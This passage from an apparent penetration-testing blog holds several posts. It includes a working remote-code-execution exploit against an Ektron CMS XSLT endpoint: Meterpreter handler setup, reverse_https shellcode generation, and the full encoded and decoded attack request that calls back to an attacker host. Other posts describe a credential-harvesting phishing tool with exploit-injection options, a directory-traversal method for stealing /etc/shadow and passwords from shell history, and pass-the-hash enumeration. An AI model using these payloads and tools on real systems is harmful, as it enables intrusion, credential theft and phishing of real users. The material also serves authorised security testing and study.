    I used the above path because that path usually has pretty open permissions and would enable me to upload the file regardless of the account running the application. The initial upload failed and I did some trial and error to determine that AV was removing the file. So I needed to bypass AV. Research led me to this little script that worked pretty well on the systems against which I tested. I used the script to generate another payload and this time instead of receiving a “File not found” error message (which was previously occurring due to AV removing the exe) in the response to the browser I got nothing; it would just hang there for a while. Something else was preventing execution. Further research identified DEP as the culprit, which led me to shellcodeexec. I used a combination of the concept behind the avoid.sh script and shellcodeexec and compiled the code. I then exploited the vulnerability to download my modified shellcodeexec using the same code above. Now was the moment of truth, I just needed to exploit the vulnerability and call my uploaded executable and pass the shellcode as a parameter.

    I was fairly confident, so I went ahead and setup my Meterpreter handler:

      use multi/handler
      set PAYLOAD windows/meterpreter/reverse_https
      set LHOST=22.222.222.22
      set LPORT=443
      run
    

     
    I then generated the shellcode to be passed to shellcodeexec:

      msfpayload windows/meterpreter/reverse_https LHOST=22.222.222.22 LPORT=443 
        EXITFUNC=thread R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX 
    

     
    Then I sent the payload, which looked like this:

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 1021
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
      version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
      %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
      %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
      %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
      %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b%0a
      System.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
      %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
      p.StartInfo.RedirectStandardOutput%20%3d%20true%3b%0a
      p.StartInfo.FileName%20%3d%20%22C%3a%5c%5cUsers%5c%5cPublic%5c%5cDocuments
      %5c%5ctest.exe%22%3b%0ap.StartInfo.Arguments%20%3d%20%
      22PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIljHoyS07pUP3PoyYu
      4qkb54LKPRvPLKaBFllK1B7dNkqb6HvoNWSzTfUaIo4qKpnL7L51SL6bTlWPjaHOvm318GjB
      l0f2v7lK2rB0LKrbuluQXPnkcpqhouYPBTbj6aZp60NkqXB8lKshQ0C1YCHculQYnk4tlK6a
      kf5aYoUaYPNLIQ8OdMwqo7wHm00u8tfc3MhxukqmDdbUhbshlKv84dGqn3avLK4Lbknkf8Gl
      wqN3LKc4LK6ahPk9QT6DDdQKqKcQsicjrqiom0bxqORzNkVrJKMVqMu82N3UT4wpRHcGPiBN
      bIpTrH0L0wEvFgkOyEtqio0WRw1GQG3ZWpf4e8DzbvqiLgYoHUXkSoSktqjiPQF1RJvcbqRq
      2HoKwqC0s063PPrHBwK9MOO6Ioke8kPHciP1HRSb0hwp4ri0OtPRPR3b0QpRF0u8HkqEdnEk
      kOxUNiYV2J203kCXk0fSuPs0lI9pcZ6dBpbJ7oF6SXRUCvOnMVIoXUeakOSgRwRw67Sf0hdm
      s628qkIoKek5IPqe4Z0KrT4PzKyE8kcyM883KOiokOTopp0a6QcjGp30SXL0MelbF6YoYEPj
      1Pqx30DPc05PQxWpgpaPwpF7QxPXldqCM5YoiEZ3qCScmYJGSgrHS07PEPUPpS2ve8wbz6ni
      YriojumU9PptZmnks7eQKsnekpRU8e0XiSYxrqkOIoyouguddnFRdp6PFNfRVP7B6NGHGDWp
      AA%22%3b%0ap.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
      p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
      %3e%0a%3c%2fmsxsl%3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e%0a%3c
      xsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
      template%3e%0a%3c%2fxsl%3astylesheet%3e
    

     
    Decoded, the final payload looked like:

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 1021
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=<?xml version='1.0'?>
      <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
      <![CDATA[
        public string xml()
        {
          System.Diagnostics.Process p = new System.Diagnostics.Process();
          p.StartInfo.UseShellExecute = false;
          p.StartInfo.RedirectStandardOutput = true;      
          p.StartInfo.FileName = "C:\\Users\\Public\\Documents\\test.exe";
          p.StartInfo.Arguments = 
          "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIljHoyS07pUP
          3PoyYu4qkb54LKPRvPLKaBFllK1B7dNkqb6HvoNWSzTfUaIo4qKpnL7L51SL6bTlW
          PjaHOvm318GjBl0f2v7lK2rB0LKrbuluQXPnkcpqhouYPBTbj6aZp60NkqXB8lKsh
          Q0C1YCHculQYnk4tlK6akf5aYoUaYPNLIQ8OdMwqo7wHm00u8tfc3MhxukqmDdbUh
          bshlKv84dGqn3avLK4Lbknkf8GlwqN3LKc4LK6ahPk9QT6DDdQKqKcQsicjrqiom0
          bxqORzNkVrJKMVqMu82N3UT4wpRHcGPiBNbIpTrH0L0wEvFgkOyEtqio0WRw1GQG3
          ZWpf4e8DzbvqiLgYoHUXkSoSktqjiPQF1RJvcbqRq2HoKwqC0s063PPrHBwK9MOO6
          Ioke8kPHciP1HRSb0hwp4ri0OtPRPR3b0QpRF0u8HkqEdnEkkOxUNiYV2J203kCXk
          0fSuPs0lI9pcZ6dBpbJ7oF6SXRUCvOnMVIoXUeakOSgRwRw67Sf0hdms628qkIoKe
          k5IPqe4Z0KrT4PzKyE8kcyM883KOiokOTopp0a6QcjGp30SXL0MelbF6YoYEPj1Pq
          x30DPc05PQxWpgpaPwpF7QxPXldqCM5YoiEZ3qCScmYJGSgrHS07PEPUPpS2ve8wb
          z6niYriojumU9PptZmnks7eQKsnekpRU8e0XiSYxrqkOIoyouguddnFRdp6PFNfRV
          P7B6NGHGDWpAA";
          p.Start();      
          p.WaitForExit();
          string output = p.StandardOutput.ReadToEnd();
          return output;
        }
      ]]>
      </msxsl:script>
      <xsl:template match="/">
      <xsl:value-of select="user:xml()"/>
      </xsl:template>
      </xsl:stylesheet>
    

     
    Within a few moments I had a Meterpreter shell and we were off to the races. I posted this just in case someone comes across this vulnerability or something similar to give you an idea for what the payload looks like as it is sent but also what it looks like when decoded. I find stuff like this helpful not only in obtaining access to systems with the vulnerability I am researching but also in understanding other similar vulnerabilities when I see them in the wild.

  • GoPhishing Update – Clickthrough and Redirection Support

    I’ve released a new version of Gophish.py. The update includes:

    • Added comments explaining my ugly code.
    • cleaned up some code with a function, removing some redundancy.
    • Some bug fixes. The main fix is for an issue I found in certain cases when running it on Linux. Sometimes BeautifulSoup would change the order of the HTML page, moving functions in a script tag to a whole separate portion of the page (outside of the script tags) for instance. This would totally bork the page. Now, I am using the lxml support in BeautifulSoup which seems to have remediated the issue and works on Windows or Linux. Unfortunately, installing lxml on Windows is a little more of a pain than Linux (no `easy_install lxml`). The best way to do this is to install an lxml binary from one of the exe’s found here.
    • Gophish now ignores robots. Stupid mistake on my part, I didn’t realize Mechanize automatically honored robots.txt files.
    • Added some additional logging on the intial connection and subsequent page accesses.
    • Added an option to specify the IP to listen on, rather than just 0.0.0.0 (this is still the default).
    • Added an option to specify a clickthrough landing page. With this option, the URL you provide is what the phished target is redirected to in the case where they submit a from. In the past, Gophish always just submitted the form values to the phished site using the path found in the original form ACTION. Note, submitted information still gets logged.
    • Added an option to redirect users in the case where you want to replicate redirection functionality. For example, if your target redirects mail.example.com to outlook.example.com/blah/page/file.ext, then you can now do this with Gophish on your phish page. This way, your phishing page reacts in the same way as the target, reducing the likelihood someone will notice

    Lot’s of new stuff all things considered. Let’s start with the easy features that have been added. If you pass –listen <IP>, then Gophish will listen on that IP rather than 0.0.0.0. The default is still 0.0.0.0 and this is what is used if this option is not specified.

    The next option is pretty simple as well. If you pass –landing <http://www.landingsite.com&gt;, then this is where the phished target will be redirected after submitting any forms on the phishing page. The default is to log submitted form values and then submit them to the REAL site, resulting in the user being redirected and possibly logged in to the real site. However, there are some cases where maybe this isn’t what you might want. Sometimes it’s nice to capture credentials or whatever else you are trying to get in the form and then have the user land on another page. This page might capture more information, and acts as a “clickthrough” page.

    The final option is meant more for trying to mimic specific functionality of the target page as much as possible. Many times, users access a page just by its familiar name like mail.example.com and then are redirected to something like server-1-mail.example.com. Most users won’t even notice this behavior, but I added a feature just in case. You can now pass –redirect <content in FQDN to regex for redirect> along with –redirectto <full URL to redirect to> to perform the redirection. The first option is used in a regex and if a match is found the user is then redirected to the full URL provided with the second option.

    If you are new to Gophish, you can find additional information here, here, and here. Usage information for the script:

      usage: gophish.py [-h] --phish PHISH --replace REPLACE [--logfile LOGFILE]
                      [--listen LISTEN] [--port PORT] [--ssl]
                      [--sslchain SSLCHAIN] [--sslcert SSLCERT] [--sslkey SSLKEY]
                      [--autopwn AUTOPWN] [--autofill AUTOFILL]
                      [--redirect REDIRECT] [--redirectto REDIRECTTO]
                      [--landing LANDING]
    
      Automatically setup a phishing site.
    
      optional arguments:
        -h, --help            show this help message and exit
        --phish PHISH         the full URL to phish back to the victim (must 
                              include http(s)://) (default: None)
        --replace REPLACE     the IP/FQDN to replace FORM actions with (must 
                              include http(s):// and final /) (default: None)
        --logfile LOGFILE     log file to store submitted form values (default:
                              phishlog.txt)
        --listen LISTEN       the IP to bind to (default: 0.0.0.0)
        --port PORT           the port to start the listening web server on
                              (default: 80)
        --ssl                 enable SSL on the running port (default: 0)
        --sslchain SSLCHAIN   certificate chain file to use when ssl option is
                              enabled (default: chain.crt)
        --sslcert SSLCERT     certificate file to use to use when ssl option is
                              enabled (default: ssl.crt)
        --sslkey SSLKEY       private key file to use to use when ssl option is
                              enabled (default: ssl.key)
        --autopwn AUTOPWN     Metasploit auxiliary/server/browser_autopwn URL to
                              inject as an iFrame (default: None)
        --autofill AUTOFILL   file to use to autosubmit autocomplete fields
                              (default: None)
        --redirect REDIRECT   redirect requests for this address somewhere else
                              (default: None)
        --redirectto REDIRECTTO
                              redirect requests in the redirect option to this
                              address (full link, must include http(s)://) 
                              (default: www.google.com)
        --landing LANDING     redirect to this landing page instead of original site
                              after form is submitted (include full link) 
                              (default: None)
    
      Example: gophish.py --phish https://www.victim.com/login.php --replace \
        https://www.evil.com/ --listen 1.1.1.1 --landing http://www.landing.com \
        --redirect mail.example.com --redirectto http://mail1.example.com/owa/exch/
    

     
    I’ve left the original download location up, but will eventually remove this and only use the new location, which is here. That is where you can get the latest and greatest version.

    Enjoy!

  • Introducing Deadrop

    I am pleased to release Deadrop, a secure file upload and download utility. I know there are probably already sites/utilities that provide this but I wanted to build this a) because I could and b) because I trust my stuff more than any cloud provider. Currently, file uploads are limited to 25M based on hard drive space constraints on the server.

    Deadrop was built to be secure. To understand the security of the system you must first understand the basics of the architecture. The architecture involves a front-end web server (the only server accessible from the Internet), a backend web services server based on SOAP, and a backend database server. The front-end takes the user submitted file over SSL, encrypts it, and sends it to the web service over SSL along with the encryption IV, file hashes, and other information provided in detail below. The web service server stores this file in a protected directory and stores details about the transaction in the database for future access.

    The details stored in the database include:

    • Timestamp at which point the file was stored. This is for some future potential features like deleting the file after X period of time.
    • Original file name.
    • A SHA-256 HMAC of the file using the user provided password as the key.
    • A SHA-256 hash of the file.
    • The IV used in the file encryption process.
    • A hashed version of the provided password.
    • The IV used to create the bcrypt hashed password.
    • The original size of the file.
    • Two fields to customize when the file gets deleted.
    • Two fields to act as counters to determine when to delete the file.

    The web server front end create’s an IV for the encryption process using mcrypt. Then, the mcrypt encrypt function is used to encrypt the data (AES-256 bit encryption) using the generated IV and the password provided by the user. This data is then base64 encoded so that it can be sent via SOAP. In addition to the encoded and encrypted data being sent to the web service, the web server also takes an HMAC of the file (SHA-256) using the provided password as the key and a SHA-256 hash of the file. The data, HMAC, Hash, IV, password, name of the file, user supplied options, and original size of the file is then sent to the web service.

    The web server then uses shred to securely delete the temporary file created during the upload process. I am using the ext4 filesystem set to data=writeback, but it is on a RAID array so I realize that the file is still accessible for a short period of time. Unfortunately, this temporary file is not what is encrypted, the file content data is what is encrypted and sent to the web service. My research into PHP found that you cannot prevent an uploaded file from hitting your upload directory without patching the PHP source itself (see here and here). To combat this limitation, I am using shred to securely delete the only time the data is stored unencrypted.

    The web service receives the data and writes the data for the file to disk using the HMAC as the filename. This ensures that the exact same file can be uploaded to the server with a different password, resulting in a unique file name. The system will prevent uploading an identical file with an identical password. This is where the hash version of the file is used; The system queries the database using the HMAC and if there are any returned results it uses the IV for the password of the matched entry with the newly provided password, and if this matches then the upload is rejected. The password is hashed using bcrypt, an mcrypt generated IV, and a work factor of 13. For a great description on hashing and storing passwords see this article as it provides a good overview of what I am doing and safe storage of passwords in general. The hashed version of the password, along with the associated IV, user supplied options, file HMAC, file Hash, and file IV is then stored in the database.

    That kind of concludes the architecture and process for uploading a file. Now, let’s talk about security at the transport layer. The front-end web server is configured like so:

    • TLS is the only supported protocol (TLS 1.0, 1.1, and 1.2).
    • I’m using a 4096 DH param key and a 2048 bit certificate signed with SHA-256.
    • The web server is configured to only support AES-256 bit algorithms with Perfect Forward Secrecy (PFS)
    • The web server is configured to use Strict Transport Security (HSTS) and automatically redirects all requests to SSL as an added security measure.

    You can validate the above information by submitting my site to Qualys SSL Labs if you like. The web service server is also configured to only allow TLS and AES-256 bit algorithms. In addition, database traffic to MySQL is encrypted using SSL as well. The file data is also encrypted when in transit inside the SSL encrypted connection to and from the web service server.

    Access to a file requires passing the HMAC as the ‘file’ parameter in the Deadrop link. The user will then be prompted for the password. Once the password is provided, the HMAC and password are sent to the web service (again, all over SSL). The HMAC is used to identify the file in the database and then the password is used with the stored IV; if the bcrypted version of the provided password combined with the stored IV matches the hashed version of the password stored in the database, then the file is read back and sent as a SOAP message to the web server (along with the file IV, original file size, and file name). The web server uses this to base64 decode the data, decrypt the file and send it back using the ‘application/octet-stream’ mime type and the original file name. The original file size is required as mcrypt adds extra padding to the file which can be removed by using `fputs($outstream, $data, $filesize)`, only sending back the same size file as was provided. When the file is sent back to the browser, the PHP output stream is used, ensuring the data is not written to disk.

    In addition to the transport layer and disk layer encryption, there are two user options when uploading a file that I thought might be useful for sensitive data. The first option determines how many times the file can be downloaded before it is deleted and the second option determines how many consecutive failed attempts to download are allowed before deleting the file. The second option is there to prevent brute force attacks such that after X amount of incorrect passwords the data is wiped. In each case where the limit is reached, the row containing all information in the database concerning the file is deleted and the file itself is shredded.

    So far, I have successfully tested this out using several types of files:

    • Adobe PDF
    • Text (Notepad compatible)
    • Excel (.xls, .xlsx, .xlsm, and .xlsb)
    • Word (.doc and .docx)
    • PowerPoint (.ppt and .pptx)
    • Executable (.exe)
    • Compressed (.zip, .tgz, and .bz2)

    I welcome any feedback on limitations or flaws in the design (outside of the known issue of the original file being written as a temp file in an unencrypted state as this is a limitation in PHP itself). Or if you just have an idea on how to improve it some way then feel free to comment below.

    Note: If you upload a file make sure you keep track of the link to access it as well as the password itself. All data is either hashed, which is one way, or encrypted in a way that prevents even myself from decrypting the data. So if you forget the URL or the password then the file is no longer accessible for all intents and purposes.

    UPDATE 2013-01-04: This post was updated to reflect the latest version. The separate SHA-256 hash of the file was not needed in combination with the HMAC. I’m not sure what I was thinking there as I could determine whether the upload was a unique combination of file + password already with the HMAC (duh!). The SHA-256 is no longer taken and that field has been removed from the database.

  • Directory Traversal to Root

    I’ve had some success in the past when finding directory traversal vulnerabilities on Linux/Unix hosts and thought I would share a little post on what I’ve found. The vulnerabilities are often found in the unauthenticated portions (convenient) of management applications such as Webmin or ColdFusion and are frequently running with elevated privileges.

    The first step I take is using the vulnerability to access /etc/passwd and, if possible, /etc/shadow. I immediately begin attempting to crack the passwords in /etc/shadow if they were available. While the cracking utility is off and running, I then access /etc/group and look for anyone listed in the ‘root’ group (yikes!) or the ‘wheel’ group. Anyone belonging to these groups either has or is likely to have permission to `su` to root or to run `sudo`.

    The next step is to see if any of these users has run a command line tool that required a password to be provided or to see if they fat fingered a command that resulted in the password being stored in the command history. So I directory traverse to the home directory for each user belonging to the ‘root’ or ‘wheel’ groups and attempt to access the various possible history files such as .bash_history, .history, .mysql_history, etc. I search these files for stuff like “pass”, “pwd”, or uses of su/sudo. On several occasions, I have found a user that was typing too fast and tried to `su` to root only to type su + the password together (example: suMyR00tP@ssword).

    More often than not, I find a password I can use to access the system over SSH or Telnet in the history files. In a few instances, I’ve also found the root password and been immediately able to `su` to root and in a few cases I’ve found a system configured to allow root logins over SSH. Usually, a password for a user with permission to run `sudo` is enough. If you can login over SSH under an account that has permission to run commands via `sudo`, then it is rarely locked down to prevent which commands can be run. The final step, if you don’t already have the root password to `su` to, is to then simply run `sudo bash`, `sudo sh`, `sudo screen`, or some other variation that results in loading a shell, which will now be running under root.

    So the steps laid out in order:

    1. Access /etc/passwd and /etc/shadow via directory traversal
    2. Immediately attempt cracking hashes in /etc/shadow
    3. List off the home directories in /etc/passwd
    4. Find users with elevated permissions in /etc/group via the directory traversal
    5. Access the history files in each home directory of each user with elevated permissions via the directory traversal
    6. Search the history files for passwords
    7. Login to the system over SSH/Telnet/whatever using a password found in a history file
    8. Sudo to a bash prompt, resulting in root access (example: `sudo bash`)

    I know there are several directory traversal tools out there that will automatically attempt to pull certain files via the vulnerability such as /etc/passwd and /etc/shadow. Panoptic is a good one and so is DotDotPwn. Metasploit even has a built in module for this as well. However, I wanted something that kind of put all of this together; getting the home directories, searching the history files, and logging any potential matches for credentials. I also wanted to find another opportunity to use Python, so I build a tool called dirscalate.py. The script will exploit a directory traversal vulnerability and loop through a list of provided history files, attempting to access each history file in each home directory, and for each found file loop through a list of tokens. Any matches of the tokens found in the history files will be logged to a log file.

    Program usage:

      usage: dirscalate.py [-h] --link LINK [--histfile HISTFILE] 
                           [--tokens TOKENS] [--logfile LOGFILE] 
                           [--depth DEPTH] [--type TYPE]
    
      Exploit a directory traversal vulnerability to find sensitive information
    
      optional arguments:
        -h, --help           show this help message and exit
        --link LINK          the full URL to exploit, replace value in vulnerable
                             parameter with #vulnerability# marker (must include
                             http(s):// (default: None)
        --histfile HISTFILE  the list of history files to search (default:
                             histfile.txt)
        --tokens TOKENS      the list of strings to search for in the history 
                             files (default: tokens.txt)
        --logfile LOGFILE    the logfile to write matches to (default:
                             dirscalate.txt)
        --depth DEPTH        the length of the traversal attempt (default: 10)
        --type TYPE          1 (../), 2 (URL encoded), or 3 (double encoded)
                             (default: 1)
    
      Example: dirscalate.py --link \
        https://www.victim.com/login.php?test=1&blah=#vulnerability#&id=2 \
        --histfile histfile.txt --tokens tokens.txt --depth 10 --type standard
    

     
    The –link option is required and is used to specify the vulnerable link, marking the vulnerable parameter with #vulnerability#. The –histfile option specifies a list of history files to check for in each home directory, if not provided then it defaults to using histfile.txt in the directory from which dirscalate.py was executed. The –tokens option specifies a list of items to search for in each history file, if not provided then it defaults to using tokens.txt in the directory from which dirscalate.py was executed. The –logfile option specifies the file in which to record any token matches and defaults to saving to dirscalate.txt. The –depth option specifies the number of traversals (../) to use on the vulnerable parameter and defaults to 10. The –type option specifies the type of traversal to use and can be the standard ‘../’ characters, URL encoding of those characters, or double URL encoding of the characters.

    The program was tested on one of my hosts with a simple PHP script:

      <?php
        print file_get_contents($_GET['file']);
      ?>
    

     
    Then running the following command within the same directory in which the PHP script was saved (dirvuln.php):

      php -S 1.1.1.1:8222
    

     
    Exploiting the vulnerability using my script was then as simple as:

      dirscalate.py --link http://1.1.1.1:8222/dirvuln.php?file=#vulnerability# \
        --type 1
    

     
    You can download a copy of dirscalate.py here, a sample history file here, and a sample tokens file here.

    A good post on finding and exploiting directory traversal vulnerabilities can be found on the carnal0wnage blog.

    Happy Hunting!

  • Follow Up on SYSTEM to Domain Admin Post

    I learned a few new things and made a few updates to my script after the last post that I thought I would share. First things first, someone commented on the article on another site and mentioned that the Metasploit module auxiliary/scanner/smb/smb_enumusers_domain provides the same functionality over SMB by calling the Windows NetWkstaUserEnum function.

    Example for how to use the module:

      use auxiliary/scanner/smb/smb_enumusers_domain
      set RHOSTS 1.1.1.0/24
      set SMBUser <user>
      set SMBPass <password OR hash>
      run
    

     
    If you have obtained access via Metasploit this is better than the WMI module I wrote for several reasons:

    1. You can pass-the-hash
    2. SMB is much faster than WMI
    3. You can eliminate the use of smb_login

    So, I apparently didn’t spend enough time checking out the info for each module when I was looking for this functionality. Oh well, it gave me an opportunity to learn and to use Python a little bit more.

    With that being said, if the systems you are scanning have for whatever reason been hardened and part of that hardening includes disabling file sharing on the NIC (not something that is common in a production environment), then my module still has value as it relies on WMI instead of SMB.

    The script I wrote in Python and compiled to an executable with py2exe still has value in a few situations:

    1. You don’t use Metasploit
    2. You obtain access to the initial system(s) manually

    I have run into several instances lately where the target is running a web application that has a remote code execution vulnerability. However, in each of these cases the Metasploit module failed, usually due to AV picking up the executable or whatever else Metasploit attempts to upload to the system, or DEP prevents the process from running. I have ended up having to manually exploit these vulnerabilities and end up with access to the host without Metasploit. Sometimes I use Veil to create a custom payload that I then later upload to the system, but sometimes I just create my own local account and RDP in or setup a reverse VNC listener back to my attacking host. In these situations, or in the case where you aren’t using Metasploit at all, the script I wrote might be useful.

    After writing the script, I was frustrated that I couldn’t pass-the-hash, so I did a bit of research and found that you could use the NetWkstaUserEnum function linked above to get the same data over SMB. SMB means we can probably pass-the-hash as well. I came across this article for a function that provides the ability to authenticate over SMB and then a more detailed explanation of how to use it here.

    Now I just needed to figure out how to call the function. There was some good information on this here. I whipped up some code, reorganized my script so that I had two functions, one for WMI and one for SMB and was ready to go. However, I found that these libraries don’t support passing the hash, which is a bummer. I was happy that I could use WMI or SMB, and that SMB was much, much faster, but I really wanted to be able to pass-the-hash as well. I did some searching around and couldn’t find any scenarios involving the standard win32net/win32security modules.

    Much searching led me to the Core Impacket library, which I wasn’t super excited about because I was aware of it enough to look at the code and being a guy that just hacks stuff together, the API isn’t exactly easy to follow. I used sample code from the psexec.py example in the library, which got me as far as learning how to make a DCE RPC connection, and then to authenticate with credentials, but the library doesn’t include any native methods or examples for accessing NetWkstaUserEnum. Fortunately, I found an example from a SecuriTeam DoS exploit that uses the Impacket library to call NetWkstaUserEnum.

    I leveraged the SecuriTeam exploit for an idea of how to do what I wanted to do and then referenced this article for the UUID I needed. Eventually, I got it working and printing out all the users under which processes were running on my test systems. The only issue was that there was a bunch of garbage/un-printable characters in the raw output. I couldn’t find a good example for the packet structure that would enable me to pick out the specific portions I wanted in binary and then encode to ASCII, so instead I played with encoding, stripping data, and then decoding. It is pretty ugly, as in a real developer would probably vomit, but it works. I just hex encode the data, use some regex’s to remove stuff I didn’t want, use some other regex’s to change certain chars to something I could parse (like ; and \), and then used a function to remove the remaining un-printable characters and voila.

    The updated script options are:

      usage: p2e.py [-h] --iplist IPLIST --user USER --pass PASS [--domain DOMAIN]
                  --type TYPE
    
      Find running process that can be used to escalate access.
    
      optional arguments:
        -h, --help       show this help message and exit
        --iplist IPLIST  file list of IPs that we can login with using provided
                         username and password (default: None)
        --user USER      the username to use for authentication (default: None)
        --pass PASS      the password to use for authentication (default: None)
        --domain DOMAIN  the Domain to use for authentication (default: )
        --type TYPE      which type of connection to we use, WMI or SMB (default:
                         None)
    
      Example: p2e.py --iplist iplist.txt --user test --pass testpass --domain \
                 testdomain --type smb
    

     
    The –domain option is optional but all others are required. If you use SMB in the –type option and used a hash with the –pass option, then it will automatically figure this out and use the Impacket library to pass-the-hash. So to wrap it up, you can still grab the info with WMI and a valid username and password, and now you can also grab the info with SMB and a valid username and password OR with a valid username and password hash.

    You can find the updated Python script in the same place, here. An updated version of the Python code compiled to executable can be found here. Or, if you want to compile it yourself, just download the script, install py2exe, drop this file in the same directory as the script, and run `python p2e2exe.py py2exe.`